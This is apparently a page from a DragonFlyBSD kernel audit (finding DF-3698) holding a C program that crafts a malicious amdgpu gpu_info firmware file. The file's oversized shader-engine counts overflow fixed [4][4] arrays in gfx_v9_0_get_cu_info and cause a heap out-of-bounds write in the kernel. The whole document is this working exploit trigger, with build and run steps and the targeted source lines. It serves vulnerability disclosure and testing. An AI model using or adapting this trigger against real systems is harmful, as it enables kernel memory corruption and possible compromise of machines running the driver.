⬢ DragonFlyBSD Kernel Audit
DF-3698 / fwgen_craft_gpuinfo.c
← back to finding ↓ download raw
/*
 * DF-3698 trigger generator — crafts a malicious amdgpu gpu_info firmware
 * blob whose gc_num_se / gc_num_sh_per_se exceed the fixed [4][4] dimensions
 * of struct amdgpu_cu_info::bitmap / ::ao_cu_bitmap.
 *
 * Target: sys/dev/drm/amd/amdgpu/gfx_v9_0.c:4990-5013 (gfx_v9_0_get_cu_info)
 *         sys/dev/drm/amd/amdgpu/gfx_v9_0.c:937-958  (gfx_v9_0_init_always_on_cu_mask)
 *   for (i = 0; i < adev->gfx.config.max_shader_engines; i++)
 *     for (j = 0; j < adev->gfx.config.max_sh_per_se; j++)
 *       cu_info->bitmap[i][j] = bitmap;      <-- arrays are [4][4]
 *
 * Source of the unclamped bounds:
 *   amdgpu_device.c:1379-1381  max_shader_engines = le32(gpu_info_fw->gc_num_se)
 *   (amdgpu_ucode_validate() here only checks hdr->size_bytes == fw->datasize)
 *   and for VEGA20 via gfx_v9_0_gpu_early_init()->amdgpu_atomfirmware_get_gfx_info()
 *   (amdgpu_atomfirmware.c:349, u8 gc_num_se from VBIOS).
 *
 * Result: linear heap OOB WRITE past adev->gfx.cu_info (embedded in the big
 * amdgpu_device allocation) with GPU-register-derived u32 values; also OOB
 * reads at gfx_v9_0.c:945.  Runs during gfx_v9_0_constants_init()
 * (hw_init -> get_cu_info) and gfx_v9_0_rlc_init -> init_lbpw ->
 * init_always_on_cu_mask on Raven.
 *
 * Build:  cc -O2 -o fwgen_craft_gpuinfo fwgen_craft_gpuinfo.c
 * Run:    ./fwgen_craft_gpuinfo        (writes amdgpufw_raven_gpu_info.evil)
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>

struct common_hdr {
	uint32_t size_bytes;
	uint32_t header_size_bytes;
	uint16_t header_version_major;
	uint16_t header_version_minor;
	uint16_t ip_version_major;
	uint16_t ip_version_minor;
	uint32_t ucode_version;
	uint32_t ucode_size_bytes;
	uint32_t ucode_array_offset_bytes;
	uint32_t crc32;
};

struct gpu_info_hdr_v1_0 {
	struct common_hdr hdr;		/* 32 bytes */
	uint16_t version_major;
	uint16_t version_minor;
};

struct gpu_info_v1_0 {
	uint32_t gc_num_se;
	uint32_t gc_num_cu_per_sh;
	uint32_t gc_num_sh_per_se;
	uint32_t gc_num_rb_per_se;
	uint32_t gc_num_tccs;
	uint32_t gc_num_gprs;
	uint32_t gc_num_max_gs_thds;
	uint32_t gc_gs_table_depth;
	uint32_t gc_gsprim_buff_depth;
	uint32_t gc_parameter_cache_depth;
	uint32_t gc_double_offchip_lds_buffer;
	uint32_t gc_wave_size;
	uint32_t gc_max_waves_per_simd;
	uint32_t gc_max_scratch_slots_per_cu;
	uint32_t gc_lds_size;
};

int main(void)
{
	struct gpu_info_hdr_v1_0 h;
	struct gpu_info_v1_0 gi;
	uint8_t img[sizeof(h) + sizeof(gi)];

	memset(&h, 0, sizeof(h));
	memset(&gi, 0, sizeof(gi));

	h.hdr.size_bytes		= sizeof(img);
	h.hdr.header_size_bytes		= sizeof(h);
	h.hdr.header_version_major	= 1;
	h.hdr.header_version_minor	= 0;
	h.hdr.ucode_size_bytes		= sizeof(gi);
	h.hdr.ucode_array_offset_bytes	= sizeof(h);
	h.version_major			= 1;
	h.version_minor			= 0;

	/* ===== the malicious fields =====
	 * struct amdgpu_cu_info::bitmap is [4][4]; claim 64 SEs x 4 SH */
	gi.gc_num_se		= 64;
	gi.gc_num_sh_per_se	= 4;
	gi.gc_num_cu_per_sh	= 16;
	/* plausible filler */
	gi.gc_num_rb_per_se	= 4;
	gi.gc_num_tccs		= 8;
	gi.gc_num_gprs		= 256;
	gi.gc_wave_size		= 64;
	gi.gc_max_waves_per_simd = 10;
	gi.gc_lds_size		= 64;

	memcpy(img, &h, sizeof(h));
	memcpy(img + sizeof(h), &gi, sizeof(gi));

	FILE *f = fopen("amdgpufw_raven_gpu_info.evil", "wb");
	if (!f) { perror("fopen"); return 1; }
	fwrite(img, 1, sizeof(img), f);
	fclose(f);

	printf("crafted amdgpufw_raven_gpu_info.evil: %zu bytes\n", sizeof(img));
	printf("  gc_num_se=%u gc_num_sh_per_se=%u -> cu_info->bitmap[%u][%u]\n",
	       gi.gc_num_se, gi.gc_num_sh_per_se, gi.gc_num_se, gi.gc_num_sh_per_se);
	printf("  vs. fixed array dimensions [4][4] (amdgpu_gfx.h:197-198)\n");
	printf("  -> gfx_v9_0_get_cu_info() writes up to 64*4*4 = 1024 bytes\n");
	printf("     past bitmap[0][0] of a [4][4]=64-byte array = heap OOB write\n");
	return 0;
}